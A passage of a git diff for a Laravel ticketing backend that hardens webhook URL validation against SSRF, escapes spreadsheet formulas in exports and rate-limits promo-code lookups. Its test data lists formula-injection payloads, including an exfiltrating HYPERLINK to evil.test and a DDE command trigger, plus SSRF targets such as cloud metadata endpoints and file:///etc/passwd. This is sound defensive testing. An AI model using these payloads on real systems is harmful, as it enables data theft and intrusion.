$parsedUrl = parse_url($value); - if ($parsedUrl === false || ! isset($parsedUrl['host'])) { - $fail(__('The :attribute must be a valid URL.')); - - return; - } - - $scheme = strtolower($parsedUrl['scheme'] ?? ''); - if (! in_array($scheme, self::ALLOWED_SCHEMES, true)) { - $fail(__('The :attribute must use http or https protocol.')); - - return; - } - - $host = strtolower($parsedUrl['host']); - - // Handle IPv6 addresses wrapped in brackets - if (str_starts_with($host, '[') && str_ends_with($host, ']')) { - $host = substr($host, 1, -1); - } - - // Handle NoInternalIP/Host Exceptions - if ($this->isWhitelistedHost($host)) { - return; - } - - if ($this->isBlockedHost($host)) { - $fail(__('The :attribute cannot point to localhost or internal addresses.')); - - return; - } - - if ($this->isBlockedTld($host)) { - $fail(__('The :attribute cannot use reserved domain names.')); - - return; - } - - if ($this->isCloudMetadataHost($host)) { - $fail(__('The :attribute cannot point to cloud metadata endpoints.')); - - return; - } - - if ($this->isPrivateIpAddress($host)) { - $fail(__('The :attribute cannot point to private or internal IP addresses.')); - - return; - } - } - - private function isBlockedHost(string $host): bool - { - return in_array($host, self::BLOCKED_HOSTS, true); - } - - private function isBlockedTld(string $host): bool - { - foreach (self::BLOCKED_TLDS as $tld) { - if (str_ends_with($host, $tld)) { - return true; - } - } - - return false; - } - - private function isCloudMetadataHost(string $host): bool - { - foreach (self::CLOUD_METADATA_HOSTS as $metadataHost) { - if ($host === $metadataHost || str_ends_with($host, '.'.$metadataHost)) { - return true; - } - } - - return false; - } - - private function isPrivateIpAddress(string $host): bool - { - $ip = $this->resolveAndNormalize($host); - - if ($ip === false) { - return true; - } - - if (! filter_var($ip, FILTER_VALIDATE_IP)) { - return true; - } - - if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) { - return true; + try { + ($this->validator ?? app(WebhookUrlValidator::class))->validate($value); + } catch (UnsafeWebhookUrlException $exception) { + $fail($exception->getMessage()); } - - if (str_starts_with($ip, '169.254.')) { - return true; - } - - return false; - } - - private function resolveAndNormalize(string $host): string|false - { - if (filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)) { - $binary = inet_pton($host); - if ($binary !== false && strlen($binary) === 16) { - $prefix = substr($binary, 0, 12); - if ($prefix === "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff") { - return inet_ntop(substr($binary, 12)); - } - } - - return $host; - } - - if (filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) { - return $host; - } - - $ip = gethostbyname($host); - if ($ip === $host) { - return false; - } - - return $ip; - } - - private function isWhitelistedHost(string $host): bool - { - $whitelistedHosts = Config::string('app.allowed_internal_webhook_hosts'); - if (! empty($whitelistedHosts)) { - $allowedList = array_filter(array_map('trim', explode(',', $whitelistedHosts))); - if (in_array($host, $allowedList) || in_array(gethostbyname($host), $allowedList)) { - return true; - } - } - - return false; } } diff --git a/backend/config/excel.php b/backend/config/excel.php index 18fead2027..07bb190e2e 100644 --- a/backend/config/excel.php +++ b/backend/config/excel.php @@ -1,6 +1,6 @@ [ - 'default' => DefaultValueBinder::class, + 'default' => FormulaSafeValueBinder::class, ], 'cache' => [ diff --git a/backend/config/webhook-server.php b/backend/config/webhook-server.php index ada90c12ec..4a5745ca2b 100644 --- a/backend/config/webhook-server.php +++ b/backend/config/webhook-server.php @@ -1,7 +1,7 @@ CallWebhookJob::class, + 'webhook_job' => SecureCallWebhookJob::class, /* * By default we will verify that the ssl certificate of the destination diff --git a/backend/routes/api.php b/backend/routes/api.php index f9eb088b86..856754b16a 100644 --- a/backend/routes/api.php +++ b/backend/routes/api.php @@ -622,7 +622,8 @@ function (Router $router): void { ->middleware('throttle:10,1'); // Promo codes - $router->get('/events/{event_id}/promo-codes/{promo_code}', GetPromoCodePublic::class); + $router->get('/events/{event_id}/promo-codes/{promo_code}', GetPromoCodePublic::class) + ->middleware('throttle:10,1'); // Stripe payment gateway $router->post('/events/{event_id}/order/{order_short_id}/stripe/payment_intent', CreatePaymentIntentActionPublic::class); diff --git a/backend/tests/Unit/Services/Application/Handlers/Order/CompleteOrderHandlerTest.php b/backend/tests/Unit/Services/Application/Handlers/Order/CompleteOrderHandlerTest.php index 8633f135cf..9339b088bf 100644 --- a/backend/tests/Unit/Services/Application/Handlers/Order/CompleteOrderHandlerTest.php +++ b/backend/tests/Unit/Services/Application/Handlers/Order/CompleteOrderHandlerTest.php @@ -44,6 +44,8 @@ class CompleteOrderHandlerTest extends TestCase { + private array $executedStatements = []; + private OrderRepositoryInterface|MockInterface $orderRepository; private AttendeeRepositoryInterface|MockInterface $attendeeRepository; @@ -73,6 +75,12 @@ protected function setUp(): void Mail::fake(); Bus::fake(); DB::shouldReceive('transaction')->andReturnUsing(fn ($callback) => $callback(Mockery::mock(Connection::class))); + $this->executedStatements = []; + DB::shouldReceive('statement')->andReturnUsing(function (string $sql, array $bindings = []) { + $this->executedStatements[] = [$sql, $bindings]; + + return true; + }); $this->orderRepository = Mockery::mock(OrderRepositoryInterface::class); $this->attendeeRepository = Mockery::mock(AttendeeRepositoryInterface::class); @@ -140,6 +148,34 @@ public function test_handle_successfully_completes_order(): void $this->assertTrue(true); } + public function test_handle_takes_an_advisory_lock_keyed_on_the_order_before_reading_it(): void + { + $orderShortId = 'ABC123'; + $orderData = $this->createMockCompleteOrderDTO(); + $order = $this->createMockOrder(); + $updatedOrder = $this->createMockOrder(); + + $this->orderRepository->shouldReceive('findByShortId')->with($orderShortId)->andReturn($order); + $this->orderRepository->shouldReceive('loadRelation')->andReturnSelf(); + $this->orderRepository->shouldReceive('updateFromArray')->andReturn($updatedOrder); + + $this->productPriceRepository->shouldReceive('findWhereIn')->andReturn(new Collection([$this->createMockProductPrice()])); + + $this->attendeeRepository->shouldReceive('insert')->andReturn(true); + $this->attendeeRepository->shouldReceive('findWhereIn')->andReturn(new Collection([$this->createMockAttendee()])); + + $this->productQuantityUpdateService->shouldReceive('updateQuantitiesFromOrder'); + + $this->eventSettingsRepository->shouldReceive('findFirstWhere')->andReturn($this->createMockEventSetting()); + + $this->completeOrderHandler->handle($orderShortId, $orderData); + + $this->assertSame( + [['SELECT pg_advisory_xact_lock(hashtext(?))', [$orderShortId]]], + $this->executedStatements, + ); + } + public function test_handle_throws_resource_not_found_exception_when_order_not_found(): void { $this->expectException(ResourceNotFoundException::class); diff --git a/backend/tests/Unit/Services/Domain/Order/OrderCreateRequestValidationServiceTest.php b/backend/tests/Unit/Services/Domain/Order/OrderCreateRequestValidationServiceTest.php index cca59457ca..27736e399e 100644 --- a/backend/tests/Unit/Services/Domain/Order/OrderCreateRequestValidationServiceTest.php +++ b/backend/tests/Unit/Services/Domain/Order/OrderCreateRequestValidationServiceTest.php @@ -628,7 +628,7 @@ public function test_rejects_duplicate_lines_exceeding_max_per_order(): void ]; $this->expectException(ValidationException::class); - $this->expectExceptionMessage('maximum number of products available for Test Products is 10'); + $this->expectExceptionMessage('maximum number of products available for Test Product is 10'); $this->service->validateRequestData(1, $data); } @@ -858,6 +858,81 @@ public function test_ignores_addon_only_product_with_zero_quantity(): void $this->assertTrue(true); } + public function test_rejects_product_before_its_sale_start_date(): void + { + $this->expectException(ValidationException::class); + $this->expectExceptionMessage('is not yet on sale'); + + $this->setupSaleWindowScenario(productBeforeSaleStart: true); + + $this->service->validateRequestData(1, $this->createRequestData(10)); + } + + public function test_rejects_product_after_its_sale_end_date(): void + { + $this->expectException(ValidationException::class); + $this->expectExceptionMessage('Sales for'); + + $this->setupSaleWindowScenario(productAfterSaleEnd: true); + + $this->service->validateRequestData(1, $this->createRequestData(10)); + } + + public function test_rejects_price_tier_after_its_sale_end_date(): void + { + $this->expectException(ValidationException::class); + $this->expectExceptionMessage('Invalid price ID'); + + $this->setupSaleWindowScenario(priceAfterSaleEnd: true); + + $this->service->validateRequestData(1, $this->createRequestData(10)); + } + + public function test_rejects_price_tier_before_its_sale_start_date(): void + { + $this->expectException(ValidationException::class); + $this->expectExceptionMessage('Invalid price ID'); + + $this->setupSaleWindowScenario(priceBeforeSaleStart: true); + + $this->service->validateRequestData(1, $this->createRequestData(10)); + } + + public function test_accepts_product_inside_its_sale_window(): void + { + $this->setupSaleWindowScenario(); + + $this->service->validateRequestData(1, $this->createRequestData(10)); + + $this->assertTrue(true); + } + + private function setupSaleWindowScenario( + bool $productBeforeSaleStart = false, + bool $productAfterSaleEnd = false, + bool $priceBeforeSaleStart = false, + bool $priceAfterSaleEnd = false, + ): void { + $occurrence = $this->createOccurrence( + status: EventOccurrenceStatus::ACTIVE->name, + capacity: 100, + usedCapacity: 0, + ); + + $this->setupOccurrenceLookup(1, 10, $occurrence); + $this->setupEventLookup(1); + $this->setupAvailability(1); + $this->setupProducts( + 1, + 10, + 100, + productBeforeSaleStart: $productBeforeSaleStart, + productAfterSaleEnd: $productAfterSaleEnd, + priceBeforeSaleStart: $priceBeforeSaleStart, + priceAfterSaleEnd: $priceAfterSaleEnd, + ); + } + private function createTicketProductStub(int $id): ProductDomainObject|MockInterface { $product = Mockery::mock(ProductDomainObject::class); @@ -928,12 +1003,25 @@ private function setupAvailability(int $eventId, ?Collection $capacities = null, )); } - private function setupProducts(int $eventId, int $productId, int $priceId, string $productType = 'TICKET', string $type = 'PAID', int $maxPerOrder = 10, int $minPerOrder = 1): void - { + private function setupProducts( + int $eventId, + int $productId, + int $priceId, + string $productType = 'TICKET', + string $type = 'PAID', + int $maxPerOrder = 10, + int $minPerOrder = 1, + bool $productBeforeSaleStart = false, + bool $productAfterSaleEnd = false, + bool $priceBeforeSaleStart = false, + bool $priceAfterSaleEnd = false, + ): void { $price = Mockery::mock(ProductPriceDomainObject::class); $price->shouldReceive('getId')->andReturn($priceId); $price->shouldReceive('getIsHidden')->andReturn(false); $price->shouldReceive('getLabel')->andReturn(null); + $price->shouldReceive('isBeforeSaleStartDate')->andReturn($priceBeforeSaleStart); + $price->shouldReceive('isAfterSaleEndDate')->andReturn($priceAfterSaleEnd); $product = Mockery::mock(ProductDomainObject::class); $product->shouldReceive('getId')->andReturn($productId); @@ -948,6 +1036,8 @@ private function setupProducts(int $eventId, int $productId, int $priceId, strin $product->shouldReceive('getProductType')->andReturn($productType); $product->shouldReceive('getIsHidden')->andReturn(false); $product->shouldReceive('getIsHiddenWithoutPromoCode')->andReturn(false); + $product->shouldReceive('isBeforeSaleStartDate')->andReturn($productBeforeSaleStart); + $product->shouldReceive('isAfterSaleEndDate')->andReturn($productAfterSaleEnd); $product->shouldReceive('getIsAddonOnly')->andReturn(false); $this->productRepository @@ -968,6 +1058,8 @@ private function createFullProductMock( $price->shouldReceive('getId')->andReturn($priceId); $price->shouldReceive('getIsHidden')->andReturn(false); $price->shouldReceive('getLabel')->andReturn(null); + $price->shouldReceive('isBeforeSaleStartDate')->andReturn(false); + $price->shouldReceive('isAfterSaleEndDate')->andReturn(false); $product = Mockery::mock(ProductDomainObject::class); $product->shouldReceive('getId')->andReturn($productId); @@ -981,6 +1073,8 @@ private function createFullProductMock( $product->shouldReceive('getProductType')->andReturn($productType); $product->shouldReceive('getIsHidden')->andReturn(false); $product->shouldReceive('getIsHiddenWithoutPromoCode')->andReturn(false); + $product->shouldReceive('isBeforeSaleStartDate')->andReturn(false); + $product->shouldReceive('isAfterSaleEndDate')->andReturn(false); $product->shouldReceive('getIsAddonOnly')->andReturn($isAddonOnly); return $product; diff --git a/backend/tests/Unit/Services/Infrastructure/Export/SpreadsheetFormulaEscaperTest.php b/backend/tests/Unit/Services/Infrastructure/Export/SpreadsheetFormulaEscaperTest.php new file mode 100644 index 0000000000..3dd017a1c3 --- /dev/null +++ b/backend/tests/Unit/Services/Infrastructure/Export/SpreadsheetFormulaEscaperTest.php @@ -0,0 +1,72 @@ +escaper = new SpreadsheetFormulaEscaper; + } + + #[DataProvider('formulaProvider')] + public function test_it_neutralises_formula_triggers(string $value): void + { + $this->assertTrue($this->escaper->isFormulaTrigger($value)); + $this->assertSame("'".$value, $this->escaper->escape($value)); + } + + public static function formulaProvider(): array + { + return [ + 'equals' => ['=1+1'], + 'hyperlink' => ['=HYPERLINK("http://evil.test?d="&A1,"Click")'], + 'cmd injection' => ['=cmd|\' /C calc\'!A0'], + 'plus' => ['+1+1'], + 'at' => ['@SUM(A1:A9)'], + 'tab' => ["\t=1+1"], + 'carriage return' => ["\r=1+1"], + 'minus formula' => ['-1+1+cmd|\' /C calc\'!A0'], + ]; + } + + #[DataProvider('safeValueProvider')] + public function test_it_leaves_safe_values_untouched(mixed $value): void + { + $this->assertFalse($this->escaper->isFormulaTrigger($value)); + $this->assertSame($value, $this->escaper->escape($value)); + } + + public static function safeValueProvider(): array + { + return [ + 'plain name' => ['Ada Lovelace'], + 'email' => ['ada@example.com'], + 'empty string' => [''], + 'negative number string' => ['-50.00'], + 'positive number string' => ['+50.00'], + 'integer' => [42], + 'float' => [42.5], + 'null' => [null], + 'boolean' => [true], + ]; + } + + public function test_it_escapes_every_column_in_a_row(): void + { + $row = ['Ada Lovelace', '=1+1', '-50.00', '@SUM(A1:A9)']; + + $this->assertSame( + ['Ada Lovelace', "'=1+1", '-50.00', "'@SUM(A1:A9)"], + $this->escaper->escapeRow($row), + ); + } +} diff --git a/backend/tests/Unit/Services/Infrastructure/Webhook/WebhookUrlValidatorTest.php b/backend/tests/Unit/Services/Infrastructure/Webhook/WebhookUrlValidatorTest.php new file mode 100644 index 0000000000..f9d463dd0e --- /dev/null +++ b/backend/tests/Unit/Services/Infrastructure/Webhook/WebhookUrlValidatorTest.php @@ -0,0 +1,126 @@ + '']); + + $this->validator = new WebhookUrlValidator; + } + + #[DataProvider('blockedUrlProvider')] + public function test_it_rejects_urls_resolving_to_internal_addresses(string $url): void + { + $this->expectException(UnsafeWebhookUrlException::class); + + $this->validator->validate($url); + } + + public static function blockedUrlProvider(): array + { + return [ + 'localhost' => ['http://localhost/hook'], + 'loopback ipv4' => ['http://127.0.0.1/hook'], + 'loopback ipv6' => ['http://[::1]/hook'], + 'unspecified' => ['http://0.0.0.0/hook'], + 'private class a' => ['http://10.0.0.1/hook'], + 'private class b' => ['http://172.16.0.1/hook'], + 'private class c' => ['http://192.168.1.1/hook'], + 'link local' => ['http://169.254.1.1/hook'], + 'aws metadata' => ['http://169.254.169.254/latest/meta-data/'], + 'gcp metadata' => ['http://metadata.google.internal/hook'], + 'localhost tld' => ['http://service.localhost/hook'], + 'internal tld' => ['http://api.internal/hook'], + 'ipv4 mapped ipv6' => ['http://[::ffff:127.0.0.1]/hook'], + 'ipv4 mapped private' => ['http://[::ffff:10.0.0.1]/hook'], + 'six to four loopback' => ['http://[2002:7f00:1::]/hook'], + 'six to four private' => ['http://[2002:a00:1::]/hook'], + 'nat64 loopback' => ['http://[64:ff9b::7f00:1]/hook'], + 'teredo loopback' => ['http://[2001:0:0:0:0:0:80ff:fffe]/hook'], + 'ipv4 compatible' => ['http://[::7f00:1]/hook'], + 'unique local ipv6' => ['http://[fc00::1]/hook'], + 'link local ipv6' => ['http://[fe80::1]/hook'], + 'ftp scheme' => ['ftp://example.com/hook'], + 'file scheme' => ['file:///etc/passwd'], + 'gopher scheme' => ['gopher://example.com/hook'], + ]; + } + + #[DataProvider('allowedUrlProvider')] + public function test_it_allows_public_addresses(string $url, string $expectedHost): void + { + $target = $this->validator->validate($url); + + $this->assertSame($expectedHost, $target->host); + } + + public static function allowedUrlProvider(): array + { + return [ + 'public ipv4' => ['https://8.8.8.8/hook', '8.8.8.8'], + 'public ipv6' => ['https://[2606:4700:4700::1111]/hook', '2606:4700:4700::1111'], + 'six to four public' => ['https://[2002:808:808::]/hook', '2002:808:808::'], + 'nat64 public' => ['https://[64:ff9b::808:808]/hook', '64:ff9b::808:808'], + ]; + } + + public function test_it_defaults_the_port_by_scheme(): void + { + $this->assertSame(443, $this->validator->validate('https://8.8.8.8/hook')->port); + $this->assertSame(80, $this->validator->validate('http://8.8.8.8/hook')->port); + $this->assertSame(8443, $this->validator->validate('https://8.8.8.8:8443/hook')->port); + } + + public function test_it_pins_the_resolved_address_for_curl(): void + { + $target = $this->validator->validate('https://8.8.8.8/hook'); + + $this->assertSame(['8.8.8.8:443:8.8.8.8'], $target->toCurlResolveEntries()); + } + + public function test_it_brackets_ipv6_addresses_in_curl_resolve_entries(): void + { + $target = $this->validator->validate('https://[2606:4700:4700::1111]/hook'); + + $this->assertSame( + ['2606:4700:4700::1111:443:[2606:4700:4700::1111]'], + $target->toCurlResolveEntries(), + ); + } + + public function test_it_pins_every_resolved_address_in_a_single_entry(): void + { + $target = new WebhookTargetDTO( + host: 'hooks.example.com', + port: 443, + ipAddresses: ['93.184.216.34', '2606:2800:220:1:248:1893:25c8:1946'], + ); + + $this->assertSame( + ['hooks.example.com:443:93.184.216.34,[2606:2800:220:1:248:1893:25c8:1946]'], + $target->toCurlResolveEntries(), + ); + } + + public function test_it_allows_explicitly_whitelisted_internal_hosts(): void + { + config(['app.allowed_internal_webhook_hosts' => '10.0.0.5']); + + $target = $this->validator->validate('http://10.0.0.5/hook'); + + $this->assertSame('10.0.0.5', $target->host); + } +}